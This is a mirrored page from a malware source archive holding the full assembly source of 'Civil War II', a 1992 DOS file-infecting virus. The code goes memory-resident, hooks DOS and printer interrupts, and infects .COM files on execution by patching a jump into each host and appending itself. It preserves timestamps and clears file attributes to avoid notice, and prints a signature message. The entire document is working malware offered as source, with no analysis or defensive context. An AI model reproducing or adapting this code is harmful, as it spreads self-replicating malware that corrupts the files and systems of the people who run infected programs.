mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-19 01:46:09 +00:00
363 lines
8.5 KiB
NASM
363 lines
8.5 KiB
NASM
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;****************************************************************************
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; Civil War II *
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; *
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; Assembled with Tasm 2.5 *
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; (c) 1992 Dark Helmet, The Netherlands *
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; The author takes no responsibility for any dameged caused by this virus *
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; *
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;****************************************************************************
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; *
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; Civil War... *
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; *
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; "For all I've seen has change my mind *
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; But still the wars go on as the years go by *
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; With no love for God or human rights *
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; 'Cause all these dreams are swept aside *
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; By bloody hands of the hypnotized *
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; Who carry the cross of homicide *
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; And history bears the scars of our civil war" *
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; *
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;****************************************************************************
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.Radix 16
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Civil_War Segment
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Model small
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Assume cs:Civil_War, ds:Civil_War, es:Civil_War
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org 100h
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len equ offset last - begin
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virus_len equ len / 16d
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dummy: db 0e9h, 03h, 00h, 44h, 48h, 00h ; Jump + infection
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; marker
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begin: Call virus ; make call to
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; push IP on stack
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virus: pop bp ; get IP from stack.
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sub bp,109h ; adjust IP.
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restore_host: mov di,0100h ; recover beginning
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lea si,ds:[carrier_begin+bp] ; of carrier program.
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mov cx,06h
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rep movsb
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check_resident: mov ah,0a0h ; check if virus
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int 21h ; already installed.
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cmp ax,0001h
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je end_virus
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adjust_memory: mov ax,cs ; start of Memory
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dec ax ; Control Block
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mov ds,ax
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cmp byte ptr ds:[0000],5a ; check if last
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; block
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jne abort ; if not last block
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; end
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mov ax,ds:[0003] ; decrease memory
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sub ax,50 ; by 1kbyte lenght
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mov ds:0003,ax
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install_virus: mov bx,ax ; es point to start
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mov ax,es ; virus in memory
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add ax,bx
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mov es,ax
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mov cx,len ; cx = lenght virus
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mov ax,ds ; restore ds
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inc ax
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mov ds,ax
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lea si,ds:[begin+bp] ; point to start virus
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lea di,es:0100 ; point to destination
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rep movsb ; copy virus in
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; memory
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mov [virus_segment+bp],es ; store start virus
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; in memory
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mov ax,cs ; restore es
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mov es,ax
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hook_vector: cli ; no interups
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mov ax,3517h
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int 21h
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mov es,[virus_segment+bp]
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mov es:[old_17h-6],bx
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mov es:[old_17h+2-6h],es
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mov dx,offset new_17h - 6h
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mov ax,2517h
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int 21h
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mov ax,3521h ; revector int 21
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int 21h
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mov ds,[virus_segment+bp]
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mov ds:[old_21h-6h],bx
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mov ds:[old_21h+2-6h],es
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mov dx,offset main_virus - 6h
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mov ax,2521h
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int 21h
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sti
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abort: mov ax,cs
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mov ds,ax
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mov es,ax
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xor ax,ax
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end_virus: mov bx,0100h ; jump to begin
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jmp bx ; host file
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;***************************************************************************
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main_virus: pushf
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cmp ah,0a0h ; check virus call
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jne new_21h ; no virus call
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mov ax,0001h ; ax = id
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popf ; return id
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iret
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new_21h: push ds ; save registers
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push es
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push di
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push si
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push ax
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push bx
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push cx
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push dx
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cmp ah,40h
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jne check_05
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cmp bx,0004h
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jne check_05
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jmp message
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check_05: cmp ah,05h
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jne check_exec
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jmp message
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check_exec: cmp ax,04b00h ; exec function?
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jne continu
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mov cs:[name_seg-6],ds
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mov cs:[name_off-6],dx
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jmp chk_com
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continu: pop dx ; restore registers
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pop cx
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pop bx
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pop ax
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pop si
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pop di
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pop es
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pop ds
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popf
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jmp dword ptr cs:[old_21h-6]
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chk_com: cld ; check extension
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mov di,dx ; for COM
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push ds
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pop es
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mov al,'.' ; search extension
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repne scasb ; check 'COM"
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cmp word ptr es:[di],'OC' ; check 'CO'
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jne continu
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cmp word ptr es:[di+2],'M' ; check 'M'
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jne continu
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cmp word ptr es:[di-3],'DN' ; check if
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je continu ; COMMAND.COM
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call set_int24h
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call set_atribuut
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open_file: mov ds,cs:[name_seg-6]
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mov dx,cs:[name_off-6]
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mov ax,3D02h ; open file
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call do_int21h
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jc close_file
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push cs
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pop ds
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mov [handle-6],ax
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mov bx,ax
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call get_date
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check_infect: push cs
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pop ds
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mov bx,[handle-6] ; read first 6 bytes
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mov ah,3fh
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mov cx,06h
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lea dx,[carrier_begin-6]
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call do_int21h
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mov al, byte ptr [carrier_begin-6]+3 ; check initials
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mov ah, byte ptr [carrier_begin-6]+4 ; 'D' and 'H'
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cmp ax,[initials-6]
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je save_date ; if equal already
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; infect
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get_lenght: mov ax,4200h ; file pointer begin
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call move_pointer
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mov ax,4202h ; file pointer end
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call move_pointer
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sub ax,03h ; ax = filelenght
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mov [lenght_file-6],ax
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call write_jmp
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call write_virus
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save_date: push cs
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pop ds
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mov bx,[handle-6]
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mov dx,[date-6]
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mov cx,[time-6]
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mov ax,5701h
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call do_int21h
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close_file: mov bx,[handle-6]
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mov ah,03eh ; close file
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call do_int21h
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mov dx,cs:[old_24h-6] ; restore int24h
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mov ds,cs:[old_24h+2-6]
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mov ax,2524h
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call do_int21h
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jmp continu
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new_24h: mov al,3
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iret
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new_17h: cli
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pushf
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push ds
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push es
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push di
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push si
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push ax
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push bx
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push cx
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push dx
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cmp ah,00h
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jne continu_17h
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jmp print_message
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continu_17h: pop dx
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pop cx
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pop bx
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pop ax
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pop si
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pop di
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pop es
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pop ds
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popf
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sti
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jmp dword ptr cs:[old_17h-6]
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print_message: mov ah,09h
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lea dx,cs:text-6h
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call do_int21h
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jmp continu_17h
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;---------------------------------------------------------------------------
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; PROCEDURES
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;---------------------------------------------------------------------------
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message: mov ah,09h
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lea dx,cs:text-6h
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call do_int21h
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jmp continu
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move_pointer: push cs
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pop ds
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mov bx,[handle-6]
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xor cx,cx
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xor dx,dx
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call do_int21h
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ret
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do_int21h: pushf
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call dword ptr cs:[old_21h-6]
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ret
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write_jmp: push cs
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pop ds
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mov ax,4200h
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call move_pointer
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mov ah,40h
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mov cx,01h
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lea dx,[jump-6]
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call do_int21h
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mov ah,40h
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mov cx,02h
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lea dx,[lenght_file-6]
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call do_int21h
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mov ah,40h
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mov cx,02h
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lea dx,[initials-6]
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call do_int21h
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ret
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write_virus: push cs
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pop ds
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mov ax,4202h
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call move_pointer
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mov ah,40
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mov cx,len
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mov dx,100
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call do_int21h
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ret
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get_date: mov ax,5700h
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call do_int21h
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push cs
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pop ds
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mov [date-6],dx
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mov [time-6],cx
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ret
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set_int24h: mov ax,3524h
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call do_int21h
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mov cs:[old_24h-6],bx
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mov cs:[old_24h+2-6],es
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mov dx,offset new_24h-6
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push cs
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pop ds
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mov ax,2524h
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call do_int21h
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ret
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set_atribuut: mov ax,4300h ; get atribuut
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mov ds,cs:[name_seg-6]
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mov dx,cs:[name_off-6]
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call do_int21h
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and cl,0feh ; set atribuut
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mov ax,4301h
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call do_int21h
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ret
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;---------------------------------------------------------------------------
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; DATA
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;---------------------------------------------------------------------------
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old_21h dw 00h,00h
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old_17h dw 00h,00h
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old_24h dw 00h,00h
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carrier_begin db 090h, 0cdh, 020h, 044h, 048h, 00h
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text db 'Civil War II v1.0, (c) 06/03/1992 The Netherlands.','$',00h
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jump db 0e9h
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name_seg dw ?
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name_off dw ?
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virus_segment dw ?
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lenght_file dw ?
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handle dw ?
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date dw ?
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time dw ?
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initials dw 4844h
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last db 090h
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Civil_war ends
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end dummy
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